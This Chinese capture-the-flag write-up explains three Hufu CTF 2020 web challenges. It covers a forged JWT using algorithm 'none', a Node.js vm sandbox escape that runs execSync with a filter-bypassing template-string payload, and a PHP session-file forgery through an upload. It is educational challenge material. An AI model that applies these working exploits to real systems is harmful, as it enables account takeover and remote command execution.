0%

虎符 CTF 2020 Write up

easy_login

/static/js/app.js中有hint提示这个web使用koa-static 来处理静态文件

img

猜测存在koa路由配置错误导致根目录的任意文件读取。我们直接读取app.jpg

http://dafd014be0114c23bd9aa2e1a84d01ea772d377a8e974ab5.changame.ichunqiu.com/app.js
const Koa = require('koa');
const bodyParser = require('koa-bodyparser');
const session = require('koa-session');
const static = require('koa-static');
const views = require('koa-views');

const crypto = require('crypto');
const { resolve } = require('path');

const rest = require('./rest');
const controller = require('./controller');

const PORT = 80;
const app = new Koa();

app.keys = [crypto.randomBytes(16).toString('hex')];
global.secrets = [];

app.use(static(resolve(__dirname, '.')));

app.use(views(resolve(__dirname, './views'), {
  extension: 'pug'
}));

app.use(session({key: 'sses:aok', maxAge: 86400000}, app));

// parse request body:
app.use(bodyParser());

// prepare restful service
app.use(rest.restify());

// add controllers:
app.use(controller());

app.listen(PORT);
console.log(`app started at port ${PORT}...`);

根据代码我们知道还有rest.jscontroller.js

module.exports = {
    APIError: function (code, message) {
        this.code = code || 'internal:unknown_error';
        this.message = message || '';
    },
    restify: () => {
        const pathPrefix = '/api/';
        return async (ctx, next) => {
            if (ctx.request.path.startsWith(pathPrefix)) {
                ctx.rest = data => {
                    ctx.response.type = 'application/json';
                    ctx.response.body = data;
                };
                try {
                    await next();
                } catch (e) {
                    ctx.response.status = 400;
                    ctx.response.type = 'application/json';
                    ctx.response.body = {
                        code: e.code || 'internal_error',
                        message: e.message || ''
                    };
                }
            } else {
                await next();
            }
        };
    }
};
const fs = require('fs');

function addMapping(router, mapping) {
    for (const url in mapping) {
        if (url.startsWith('GET ')) {
            const path = url.substring(4);
            router.get(path, mapping[url]);
        } else if (url.startsWith('POST ')) {
            const path = url.substring(5);
            router.post(path, mapping[url]);
        } else {
            console.log(`invalid URL: ${url}`);
        }
    }
}

function addControllers(router, dir) {
    fs.readdirSync(__dirname + '/' + dir).filter(f => {
        return f.endsWith('.js');
    }).forEach(f => {
        const mapping = require(__dirname + '/' + dir + '/' + f);
        addMapping(router, mapping);
    });
}

module.exports = (dir) => {
    const controllers_dir = dir || 'controllers';
    const router = require('koa-router')();
    addControllers(router, controllers_dir);
    return router.routes();
};

可以看到controllers应该还还存在api.js

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

这道题其实是原题,jwt伪造问题和[AngstromCTF 2019]Cookie Cutter一样。

首先我们来了解一下JWT的构成:

JWT例子:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInBhc3N3b3JkIjoiYWRtaW4iLCJyb2xsZWQiOiJubyIsImlhdCI6MTU4NzM1MTY0MX0.ljkr86K_y88GP8_9RBzxB2H8CBEK73tNdfDQwmT2eaY

其实它是以点为界分为三部分。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInBhc3N3b3JkIjoiYWRtaW4iLCJyb2xsZWQiOiJubyIsImlhdCI6MTU4NzM1MTY0MX0
ljkr86K_y88GP8_9RBzxB2H8CBEK73tNdfDQwmT2eaY

第一部分我们成为头部、第二部分我们称为payload,第二部分我们称之为签证。

  • 头部构成主要由两部分,typ声明类型,alg声明加密类型,最后base64编码:

img

  • payload

img

  • 签证由三部分组成
    • 头(header)basee64
    • payload base64
    • secret
  • 签证拿到上述东西后通过header中加密方式加盐的方式加密形成了签证。

img

了解JWT的组成后,我们总结JWT可能存在如下的安全问题:

1.修改头什么的算法为none

2.若secret较短可以直接使用c-jwt-cracker

3.秘钥泄露

3.修改算法RS256为HS256

在这道题中明显是修改算法为none进行绕过

构造jwt编写脚本


const crypto = require('crypto');
const jwt = require('jsonwebtoken');

secretid=0.5;
username="admin";
password="admin";
rolled="no"
const secret = crypto.randomBytes(18).toString('hex');
const token = jwt.sign({secretid, username, password,rolled}, secret, {algorithm: 'none'});
console.log(token);
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString());
console.log(sid)

这里绕过需要有一个小trick,先注册一个账号然后再提交上面生成的JWT。SID绕过可以是””或者大于零小于1的数。这是为什么呢。

​ 首先要绕过sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0j就不能让global.secrets这个数组为undefined,我们需要注册一个账号是的其初始化。

​ 其次为什么小于1大于零0呢,我们需要一个global.secrets的值为null,但是如果是0的话就是我们注册那个了,这样的话就会提示需要签名,如果是大于1小于零正好可以绕过第一层检测并且使得值为null。当然如果你注册的账号够多大于1也是可以的。还有就是可以使用空字符串进行绕过,空数组也行,因为nodejs中弱类型比较的关系这个会在下一个文章中重点研究。

最终获得flag:

img

just_escape

原题nodejs沙箱逃逸,但是对许多函数进行了过滤。

和题中一个操作在issue中一样我们找最新的版本的exp来测试。

(function(){
    TypeError.prototype.get_process = f=>f.constructor("return process")();
    try{
        Object.preventExtensions(Buffer.from("")).a = 1;
    }catch(e){
        return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }
})()

但是自己打进去会发现是不行的。我们可以fuzz这个payload有哪些内容是被过滤的。process, exec, eval, constructor, prototype, Function, 加号, 双引号, 单引号被过滤.这里我们可以用模板字符串进行绕过,而属性可以用[模板字符串]代替,而单引号双引号可以用反引号代替。

`${`${`return proces`}s`}`

最后修改得:

(function(){
       TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
         Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
    }
})()

img

BabyUpload

题目直接给了源码:

 <?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
} elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}
?>

我们直接来看如何能拿到flag;代码中可以看到,首先我们session必须得是admin其次必须存在success.txt

if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}

我们再看第二部分上传的代码,这里有四个重要参数,

  • direction=upload

  • attr 可以对上传路径产生影响

  • 上传的 field是up_file

  • 最后一点是上传文件名会拼接上文件内容本身的sha256,即

$file_path .= “_”.hash_file(“sha256”,$_FILES[‘up_file’][‘tmp_name’]);

同时这里已经锁死目录在/var/babyctf/,代码已经对目录是否穿越进行了检查。而这个上传的目录正好又是我们session的存储位置代码开头就设置了session存储目录

session_save_path(“/var/babyctf/“);

那我们能不能上传一个session对session进行修改呢?我们看他会将文件本身的名字拼接_sha256(file),那么我们计算出这个sha256把上传文件名改为sess不就变成一个session文件了。我们再修改cookie就能达到getflag的目的。

$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
}

我们再看最后一部分下载的代码,这段代码很简单,直接direction=download并且post一个filename上去就能下载。这里我们可以直接读取当前session看看这个session是什么类型。

 elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}

可以看到,这个session是php_binary类型

img

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

那么我们据此生成一个session文件

<?php

ini_set('session.serialize_handler', 'php_binary');
session_save_path("C:\\Users\\51763\\Desktop\\");
session_start();

$_SESSION['username'] = 'admin';
?>

我们构造表单去上传这个文件,上传时候注意文件名改成sess

<html>
<body>

<form action="http://fd32890b-1f94-4728-9e56-1261066852d8.node3.buuoj.cn/" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="hidden" name="direction" value="upload" /> 
<input type="hidden" name="attr" value="success.txt" /> 
<input type="file" name="up_file" id="file" /> 
<br />
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>

我们计算这个文件的sha256值是:432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

img

我们再读取文件看看,是否上传成功。上传成功后将arr参数改成success.txt再上传一次,因为file_exists($filename)检测的是文件或文件夹是否存在,这我们只要建一个文件夹即可。

img

直接修改PHPSESSID=432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4 直接出来flag

img